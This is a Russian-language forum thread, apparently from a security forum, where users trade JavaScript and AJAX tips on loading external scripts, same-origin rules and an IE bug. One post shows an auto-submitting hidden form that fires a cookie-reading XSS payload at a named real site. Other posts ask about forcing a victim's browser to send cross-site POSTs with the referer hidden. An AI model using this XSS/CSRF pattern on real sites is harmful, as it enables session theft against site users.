[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Наверное,
    PHP:
    <script type="text/javascript" src="http://example.example/file.js"></script>
    или
    PHP:
    <script type="text/javascript">
    document.write('<script type="text/javascript" src="http://example.example/file.js"><\/scr'+'ipt>');
    </script>
    ну или так:
    PHP:
    <script type="text/javascript">
    var 
    js document.createElement('script');
    js.type 'text/javascript';
    js.src 'http://example.example/file.js';
    document.appendChild(js);
    </script>
     
  2. Tvister

    Tvister New Member

    Joined:
    25 Nov 2007
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    А чем этот скрипт отличается......

    Вообщем тот JS который я привел вроде бы должен срабатывать только после движений мыши...вот такой нужен...
     
  3. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Издеваешься? Отличается в корне. Хотя результат тот же
    Тот js, который ты привел срабатывает при получении окном фокуса и он перенаправляет на другой адрес, а вовсе не "вызывает срабатыванме JS лежащего в отдельном файле".
    Если я правильно понял, то тебе нужно это:
    Code:
    <html>
    <head>
    
    <script type="text/javascript">
    function loadJS(){
      if(!document.getElementById('loadedscript')){ // Проверяем, чтобы не подключать скрипт до бесконечности
    	var js = document.createElement('script');
    	js.type = 'text/javascript';
    	js.src = 'http://example.example/file.js';
    	js.id = 'loadedscript';
    	document.body.appendChild(js);
      }
    }
    </script>
    </head>
    
    <body onmousemove="loadJS()">
    </body>
    </html>
     
  4. Tvister

    Tvister New Member

    Joined:
    25 Nov 2007
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Да нет :) ...просто я не разбираюсь в JS.Имел ввиду как работает.

    А можно сделать так,чтобы при получении окном фокуса он вызывал срабатывание JS лежащего в отдельном файле?

    А этот как работает обЪясни пожалуйста

     
  5. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Работает это так:
    Сначала определяем функцию loadJS(), которая делает следующее:
    1) Проверяет, существует ли элемент с id == 'loadedscript'.
    2) Если не существует, то создаёт элемент 'script' и устанавливает ему атрибуты:
    - id (нужен для вышеупомянутой проверки)
    - src (путь к внешнему файлу с js, измени на свой, а то работать не будет)
    - type (можно было и не указывать)
    3) Прикрепляет созданный элемент к объекту body (он может и не существовать, но это встречается не часто и сейчас не важно.)
    После этого устанавливаем 'onmousemove' = 'loadJS()'.
    Теперь при движении курсора над страницей загрузится и выполнится внешний JS.
    Чтобы работало при фокусировке - достаточно заменить 'onmousemove' на 'onfocus' // неужели? ;)
     
  6. Tvister

    Tvister New Member

    Joined:
    25 Nov 2007
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Спасибо тебе большое! :)
     
  7. Loopy

    Loopy New Member

    Joined:
    14 Jul 2007
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    У меня такая ситуация.
    На странице сайта подключается сторонний JS-скрипт (с другого сайта). При этом неполучается получить контент при помощи AJAX и фреймов ни с одного из этих сайтов. Что делать? Само AJAX приложение работает. На каждом сайте индивидуально работает. А при подключении с target.com на target2.com JS-а шиш, возвращает пустой результат, как буд-то я пытаюсь спереть чужой контент, при обращении аяксом на любой из сайтов. :\
     
  8. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Не как, зашита встроенная в браузеры...
     
  9. Loopy

    Loopy New Member

    Joined:
    14 Jul 2007
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    Я понимаю.... если защита от загрузок с другого сайта из другого. Но если сам JS-скрипт находит...
    *на этом моменте я понял почему запрещено*
    потому-что кто-то может подключить JS с другого сайта в котором с этого же сайта берутся страницы... вот...
    Я, кстати, подключаю скрипт с компа. c localhost'a. А если с диска C: ? там вроде на файловой системе компьютера нет ограничений...
     
  10. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Нет, как раз JS действительно можно подключать с любого другого домена, но исполняться он будет в контексте безопасности именно той страницы, где он был "подключён". Односторонняя такая защита.
     
  11. Loopy

    Loopy New Member

    Joined:
    14 Jul 2007
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    А я и не говорил, что нельзя подключать скрипты с других сайтов. Я говорил, что AJAX и хирургический доступ к фреймам в таком скрипте, который подключается, абсолютно исключены системой безопасности доступа к страницам. Как к доступу к страницам подключаемого, так и к которому подключаем.

    Объясню.
    Так как, исполняемый скрипт может брать страницы через Аякс со своего домена. Неужели браузеры позволят сайтам подключать сторонние скрипты и использовать то, что они подключают свои страницы? Тырить контент можно.

    Почему не может брать страницы от сайта к которому подключается? Да потому, что злоумышленник на сайте которого храниться код может его переделать и загрузать страницы первичного сайта к себе на сайт.

    В таком случае, в подключении сторонних кодов, AJAX и какой-либо доступ к фреймам исключены.
     
    #151 Loopy, 27 Nov 2007
    Last edited: 27 Nov 2007
  12. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Тырить контент? Кросс-доменные ограничения, запрещающие доступ к фрейму, в который загружена страница с другого домена, по-моему, нужны, чтобы обеспечивать безопасность веб-авторизации.
    (Правда, есть одно исключение - (document.domain), но, думаю, это не в твоём случае.)
    А контент забирают другими, менее изощренными методами.
    Можно, сделать по-другому: написать серверный скрипт (на php, к примеру), разместить на своём домене и обращаться уже к нему, передавая в запросе адрес страницы, которую нужно получить. Скрипт на сервере без проблем должен получить всё, что нужно и отдать клиентскому скрипту.
    Разве? На пальцах: есть два сайта с разными доменными именами - site1 и site2.
    Если на site1 "подключить" JS с site2, то он будет работать в контексте безопасности site1 и может работать с фреймами с site1 и запрашивать страницы AJAX'ом с site1, но не сможет проделывать аналогичное с site2, site3, и т.д.
    P.S. Специально сейчас проверил ситуацию с внешним JS с другого домена, всё работает. Так что ищи ошибки в коде.
     
    1 person likes this.
  13. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    есть <select id='mda'></select>
    добавляю document.getElementById('mda').innerHTML = '<option value="">123</option>';

    почему это не работает в ИЕ?
    p.s. меня не интересует как сделать по другому.
     
  14. bot

    bot New Member

    Joined:
    27 Dec 2005
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Post

    Вопрос банальный..
    Честно говоря все позабыл уже 2 года в нете не был..

    Вообщем, как через URL передать POST ?
    Или как с помощью Javascript передать POST, скажем
    на страницу: http://site.ru/page.php , например,
    a=1 , b=2 , c=3


    Нужно сформировать в скрытом фрейме стороннего сайта POST ,

    И еще тупой вопрос:
    кнопка submit:

    HTML:
    <input type="submit" name="xxx1" value="Добавить" accesskey="s" />
    
    че она передаст скрипту? какие переменные и т.п.?
     
  15. Loopy

    Loopy New Member

    Joined:
    14 Jul 2007
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    Да, HTML-контент, к котором могут содержаться важные данные, предоставляемые авторизованным, к примеру, пользователям.

    Попробовал и получилось? Приведи код, если не сложно..
     
  16. Loopy

    Loopy New Member

    Joined:
    14 Jul 2007
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    astrologer

    Блин, респект. Получается. Проблема была в том, что страница, которую хотел получить, назодилось в поддомене..
    из поддомена загружается только от этого поддомена.. как загрузать от одного сайта но от другого поддомена? :)
     
  17. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    я делал так автоматический пост

    HTML:
    <form name="postform" action="http://rechitsa.by/index.php" method="POST">
       <input type="hidden" name="search_string" size=20 value="><script>alert(document.cookie)</script>">
       <input type="hidden" src="/images/search.gif" alt="Поиск"/></td></tr>
       <select name="search_cat" type="hidden">
          <option value="all">весь сайт</option>
          <option value="articles">статьи</option>
          <option value="news">новости</option>
       </select>
    </form>
    
    <script>document.postform.submit();</script>
     
    _________________________
  18. Loopy

    Loopy New Member

    Joined:
    14 Jul 2007
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    В ИЕ, чтобы иннерить нужно присутствия каких-нибудь символов между тегами в которые вставляем..
     
    1 person likes this.
  19. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Потому, что это баг IE.
    Нет.
    Если два разных поддомена - то нельзя. Возможно тогда и только тогда, когда со страницы "sub.site.com" нужно получить доступ к "site.com". В этом случае можно установить document.domain = 'site.com' и работать с ним. Обратно в пределах одной сессии изменить уже нельзя.
     
  20. bot

    bot New Member

    Joined:
    27 Dec 2005
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Как скрыть рефа у юзера?

    Через window.location или document.location - эт понятно... хотя у меня опера передает рефа любым путем, даже если создается поп-ап окно без адреса и т.п.
    А если это будет POST запрос ???
    Типа:
    <form>
    .....
    </form>
    <script>submit();</script>

    Блин, ужо неделю ломаю голову...
    Причем надо учесть, чтобы именно браузер жертвы отправил запрос, т.к. проверяется сессия или куки...

    Мож кто знает лучше метод, как избавиться от рефа юзера в POST запросе ????
     
    #160 bot, 30 Nov 2007
    Last edited: 2 Dec 2007
    1 person likes this.
Thread Status:
Not open for further replies.